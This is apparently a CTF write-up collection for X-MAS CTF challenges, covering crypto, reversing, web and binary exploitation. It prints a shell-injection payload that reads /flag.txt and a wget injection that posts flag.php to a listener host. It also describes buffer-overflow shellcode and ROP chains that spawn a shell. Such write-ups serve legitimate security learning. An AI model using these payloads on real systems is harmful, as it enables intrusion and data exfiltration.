We are provided with a bunch of jumbled hex and a source. Looking at the code, the code takes the hex of an input.txt
and substitutes it with a substitution cipher.
Since we are provided quite a lot of text, we can perform frequency analysis. So I downloaded the bee movie script and wrote some python to translate it into hex and just looked at the frequencies. I sorta guessed some based on well known words, and uncovered the flag.
We are provided with a connection, nc challs.xmas.htsp.ro 1000
, and a source. The source shows we are allowed 256 queries to get a ciphertext of a secret message in rsa, and each query generates a new public key. It also prints out the modulus.
When playing around with the challenge, I noticed all the different moduli were very similar. Downloading a local copy of the source and checking the gcd of each n, I found that we can extract some primes, and therefore decrypt the rsa.
I then wrote a script that queries the connection, recieves n
, appends it to a list, and calculates the gcd with every other n
retrieved. If the gcd is not 1, then we have a hit and we can decrypt the flag.
Running this, we get the flag: X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}
.
For this challenge we were provided with a source and connection (nc challs.xmas.htsp.ro 1004
). Looking at the source, we see that we have some home rolled crypto.
We are supposed to make one request to the hash and then find a collision.
The way the hash works is it takes blocks and performs AES on them and combines them, in a sort-of CBC like manner.
where is the hash and is the block. Now, they used an IV of 0, which means
If we plug in for , then we get
The AES uses an unknown key so we cannot decrypt the AES. Lets try adding another block!
If we plug in as , we get a nice hash!
The hash is now equal to the IV! If we just concatenate another block of 0s, we should get . Therefore,
And there we go! A collision after requesting 1 value, namely . I wrote a script, but its short enough to do it by hand.
And we get the flag: X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}
We are provided with a packet capture and a connection, nc challs.xmas.htsp.ro 1002
. The packet capture shows what looks like a shell with an encrypted (or hashed) message, namely
53616e74612773313333374956343230ab0c288b0ae26eaf8adbcf00bddf35fa
.
Decoding with hex we find
Santa's1337IV420\xab\x0c(\x8b\n\xe2n\xaf\x8a\xdb\xcf\x00\xbd\xdf5\xfa
.
This shows an IV and a ciphertext, and we assume its AES. The output of the message looks like the ls
command and we can see the file structure.
We assume that it is AES-CBC with PKCS7 padding. We know that it is only one block of AES, so
Now, we know what and are. Because we can send any and any , we can create
We can send to get a correct ciphertext. Therefore,
Finally, looking at the file structure, we know that there is a file called nice, so we can echo that out (Just a random choice, we couldve chosen any file).
Writing a script to do this for us and piping it into the connection gets us the flag.
Finally, run python3 solve.py | nc challs.xmas.htsp.ro 1002
.
Flag: X-MAS{s33ms_1ik3_y0u_4r3_0n_7h3_1is7_700_h0_h0_h0}
Another RSA challenge! We are provided with the source and the connection again (nc challs.xmas.htsp.ro 1006
).
The challenge allows us to sign 63 messages using RSA-CRT, and then forge a signature. We are provided with n
and e
.
The name of the challenge implies that this is a RSA-CRT fault attack. By querying and checking signatures, we can verify that sometimes the signatures are off.
Because of the properties of CRT signatures, we know that if a faulty signature occurs, then we can recover a prime using
To look at the reason behind this, check out this. Once we recover p, we can get the private key, and then forge a signature. Writing up a script for this,
Flag: X-MAS{Oh_CPU_Why_h4th_th0u_fors4k3n_u5_w1th_b3llc0r3__th3_m4th_w45_p3rf3c7!!!_2194142af19aeea4}
Searching up Bobi's Whacked on google, we find a youtube channel called Bobi's wHack. Looking at and . These two videos have close captions, and in their transcripts we see the first and last part of the flag. In the about page, we see some hex encoded ascii, and decrypting it we see the middle part.
Flag: X-MAS{nice_thisisjustthefirstpartmiddlepart_congrats}
We get a javascript function called win
which takes in a string and gives the flag if it is correct. The source is obfuscated.
After prettifying, we get
I reversed this within the javascript console, and used a bit of python to split the delimiters at the end. After reversing, we get the flag:
X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}
At first glance, this seems like a pretty generic clientside problem. The program itself is simple - you click the cat to get cats
(the currency) which you use to buy the flag. However, we're limited to only 12 cats. And the real flag costs 13!
Before the hint dropped, we couldn't figure out how to solve it. The hint, however, (kinda) told us that .git
was exposed. Using GitTools we can download the entire git folder.
In the git folder, we can recover the problem source code by just doing git stash
in the directory.
Looking through the source, we can see that when starting a new game, the current game state is stored in a string in the form of <max num of cats> | <curr num cats>
. We also see that it calls a function called hashFor
and passes the state string to it.
So it seems that we have to forge a hash somehow - but we don't know the secret?
Lets look into the code run when we try to buy something first.
^ buy.php
As we can see, it doesn't actually check if we exceed the limit for the amount of cats we're supposed to be able to have, which comes in handy for the next step.
My first guess was a md5 hash collision because of how the helper functions work.
As you can see, the program gets the number of cats you have not by index after exploding, but just the last element in the array. Since we control the data(mostly) if we slap garbage between the secret key and the number of cats and just delimit it with |
we should be able to put in our own number of cats. Since chosen prefix attacks have a bunch of garbage, this is perfect.
However, you need to know the shared prefix in order to do a shared prefix attack(duh lol).
Whoops.
After banging my head against my desk, I got a tip from my teammate(solly) who suggested that it might be a length extension attack. (TLDR for the article;md5 broken - put in \x80 and a bunch of nullbytes and you trick the padding algorithm it uses)
Upon searching up length extension attacks
, I found a python module that does it for you.
Slap in information we already have(an existing hash, the known data, the length of the secret key) and we get a valid hash of our new state
with our new number of cats tacked on the end. Send that to the server and you get the flag.
Flag: X-MAS{1_h4v3_s0_m4ny_c4t5_th4t_my_h0m3_c4n_b3_c0ns1d3r3d_4_c4t_sh3lt3r_aaf30fcb4319effa}
The trick with this challenge is that it overwrites entries in the PLT, causing LIBC functions to have different behaviors than normal.
strchr
is overwritten with a function (fake_strchr
) that rotates each byte in the 30-byte array left by the number of times specified.system
XORs each byte with its index + 5.strrchr
rotates each byte right by the number of times specified.strcmp
XORs each byte in the first argument with 0x0a
, and compares the two arguments using strncmp
.To get the flag, I had to undo the XOR and rotation operations.
Ghidra output:
Script:
Flag: X-MAS{N0is__g0_g3t_th3_points}
Do you want to file a formal complaint? Use this address and we'll take care of redirecting it to /dev/null.
It does something like this: system(printf_stuff("echo %s > /dev/null", input))
, so we can use shell injection.
Payload: ; base64 /flag.txt #
(I'm not 100% sure if this is the command I used, but this works and it might've been.)
Output: WC1NQVN7aDNsbDBfazRyM24tODgxOWQ3ODdkZDM4YTM5N30K
Flag: X-MAS{h3ll0_k4r3n-8819d787dd38a397}
The challenge gives you a starting balance of $1000, and asks you to enter an interest rate with abs(x) < 100, and alternates multiplying your balance by the interest rate, and subtracting your current balance from your balance.
99
, you end up with $1000 =*> $99000.0 =-> $0.0 =*> $0.0 =-> $0.0 =*> $0.0 =-> $0.0
-99
, you end up with $1000 =*> $-99000.0 =-> $-99000.0 =*> $9801000.0 =-> $0.0 =*> $0.0 =-> $0.0
. Hmm…NaN
, you end up with $1000 =*> $(nan+nanj) =-> $(nan+nanj) =*> $(nan+nanj) =-> $(nan+nanj) =*> $(nan+nanj) =-> $(nan+nanj)
. In Python, j
is used to denote the imaginary part of complex numbers. 99i
, you get an error message because Python.99j
, you get $1000 =*> $99000j =-> $99000j =*> $-9801000.0 =-> $-9801000.0 =*> $(-0-970299000j) =-> $(-0-970299000j) =*> $96059601000.0
, which is greater than $10 million, and you get the flag.Flag: X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}
Challenge source code, displayed when we view the page:
Explanation of the checks:
strpos($p1, 'e') === false && strpos($p2, 'e') === false
: no exponential notation allowedstrlen($p1) === strlen($p2)
: strings must have the same length$p1 !== $p2
: strings must not be identical$p1[0] != '0'
: first string must not start with 0
$p1 == $p2
: the inputs must compare equal according to PHP's equality operator (see https://www.php.net/manual/en/language.operators.comparison.phpSince it uses PHP's equality operator, we can use 1.
and 01
, which compare as numbers, and are therefore equal.
Flag: X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}
We are given a website, which displays the source code.
We noticed that strpos
did not specify a location, so this means that the check on the flag will evaluate to true if we only use characters from the fake flag. Then, we can craft a payload to inject into the wget
command to send flag.php
to wherever we will recieve it. Our final payload was ?flag=${IFS}--post-file${IFS}flag.php${IFS}[IP ADDRESS]
, and we were listening for input.
Flag: X-MAS{s0_fL4g_M4ny_IFS_bb69cd55f5f6}
Looking at the checksec
output from pwntools, it's immediately clear that the challenge binary has some unusual security settings:
Pretty much the entire output is red, with highlights like "NX disabled", "No canary", and "No PIE".
This immediately implies that the challenge has some usage of a buffer overflow and shellcode, since usually NX is enabled on a binary which prevents execution of shellcode on the stack.
Opening up the binary in Ghidra, we can see the following fairly simple decompilation (the main function is the first argument to __libc_start_main
in the entry
function):
While the buffer variable is 46 bytes in length, the fgets allows us to read in up to 0x47 (71 decimal) bytes, so it's a standard buffer overflow vulnerability.
There also appears to be a variable that serves as a sort of stack canary, exiting the program when it is mangled by the buffer overflow.
I would generally use pwntool's cyclic
module to find the offset of the return address, but in this case I just decided to look at the output in Ghidra's disassembler:
The Stack[offset] sequence is relative to the return address of the stack frame, so our payload will end up looking like this:
46 bytes + 0xe4ff (2 bytes) + 8 bytes (0xa-2 to account for length) + return address (8 bytes) + 7 bytes
If we use the usual jmp rsp
trick to execute our shellcode that's right after the return buffer, we have too little space to create any kind of useable shellcode. We can use these 7 bytes to create a small stager shellcode that jmp
s execution back to the start of our buffer, where we can put our real shellcode that easily fits within 46 bytes.
One thing to note is that the 0xe4ff value used as the canary isn't actually random: it represents the jmp rsp
instruction that we need. Since this value is specifically checked for in the code, it's actually directly present in the program's code:
Note the raw instruction bytes 66 81 7d fe ff e4
, which contain ffe4
whose address we can use as our return address.
If you didn't notice this, you could search the binary for the assembled jmp rsp
using pwntool's ELF
module and find the same address:
The last part of our payload is the shellcode, which you can easily find online or create using pwntool's shellcraft
module. I had trouble with the latter option being inefficient and I like assembly, so I just opted to create my own:
If you want to create your own shellcode, this page from the Chromium OS docs is very helpful for identifying syscall numbers.
This shellcode loads an address to the string "/bin/sh" into rdi (the first argument register), nulls out the other argument registers, and then calls the execve syscall to launch a shell. Our only bad byte restriction comes from fgets: the newline byte (0xa) which doesn't really come up often in shellcode, so I just ignored it and it ended up alright.
I used the following commands to get a hex version of the raw assembly that I could copy into my program for loading:
Combining all of this information together, I created the following exploit script:
I got some information on how to format the short relative jump instruction from this website.
Running this payload, we obtain the a shell on the server, and can print /home/ctf/flag.txt.
Flag: X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}
Based on the challenge description, we can guess that it'll probably be another buffer overflow vulnerability.
The checksec seems to somewhat confirm this with the lack of a stack canary:
Opening the binary in ghidra and doing some cleanup, we get the following decompilation:
The program seems to check the input given with some extra checks, exiting if it reads the substrings "sh" or "cat".
If needed, it's very easy to bypass these checks simply by putting a null byte at the beginning of our input, since the functions used to read the buffer require c-strings to be passed to function properly.
The use of the gets
function is an obvious vulnerability (due to the fact that it allows for an unbounded write), so it's pretty clear that this is indeed a buffer overflow challenge.
It also looks like the binary tries to mark the .bss section as read-only through the mprotect call. I'm not sure whether it was intended or not, but if we look at what the memprotect returns (using a breakpoint in GDB), it actually errors:
This is probably because mprotect requires an address that is page-aligned (a multiple of 0x1000). Since it failed, we can figure that the .bss section is still writeable, which we'll be able to use to our advantage.
It's always helpful to look at what's in the registers right before the return in a buffer overflow exploit to see what we can use in them:
In this case, we've got the address of that weird global variable in the RDI register. Since the mprotect from earlier failed, we can actually use this as a writeable region of memory. In this challenge, the stack isn't executable, so we'll need to create a ROP chain.
There's one more tool that we can find if we look at the binary functions:
This just calls system for us, removing the requirement for us to leak some kind of address! Now we can lay the flow for our ROP chain:
We want to execute system("/bin/sh"), which will require the address of a "/bin/sh" string. We can create this string ourself by calling gets and writing into the global variable in .bss, and then taking that address and passing it through RDI (the first argument register) when calling system.
This will require a ROP gadget that can write into the RDI register, the easiest one being pop rdi; ret
. Using ropper to search for it, we can see that the binary does contain one such gadget:
With this information, we can now create an exploit script to deploy our ROP chain payload:
Notice how we take advantage of the 0x601099 address that's already in RDI by the time our execution reaches the first gets
in the ROP chain. This allows us to avoid a redundant pop rdi
gadget.
Although I didn't experience it in this problem, it's also very easy for stack alignment to become an issue when calling certain functions in a 64 bit binary. In summary, the system requires addresses of variables on the stack to be multiples of 128 bits (16 bytes) because of how floating point operations work in memory. If certain instructions receive addresses that do not have this alignment, a segmentation fault will occur. If this occurs in a ROP payload, it can be easily fixed by adding a useless ret
gadget that just immediately moves on to the next part of the chain.
Running the script obtains a shell on the server, and allows us to print the flag:
FLAG: X-MAS{l00ks_lik3_y0u_4re_r3ady}
The challenge gives you a pcapng file, which you can use Wireshark to open. Scrolling through the packets, I noticed that the two people in the problem having their conversation in plaintext. Eventually, I stumble upon what looks like the payload, in base64. However, when base64 decoding, it returns gibberish. Reading further into the conversation, it states that the payload is in rot13 as well. After a rot13 and a base64 decode, we get the flag: X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}
The challenge gives you a gcd(a,b) and an lcm(a,b) and asks you to find number of possible pairs (a,b).
The number of all possible pairs is given by . Make a program to do it automatically:
Flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}
The challenge gives you an adjacency matrix and asks you to find number of paths of length L between the first and last nodes that don't pass through the forbidden nodes. Since we don't want paths that pass through the forbidden nodes, we can just zero all connections to those nodes in the adjacency matrix. We can find the number of paths between two nodes by raising the adjacency matrix to the Lth power. Reuse that input program to get the flag: X-MAS{n0b0dy_3xp3c73d_th3_m47r1x_3xp0n3n71a7i0n}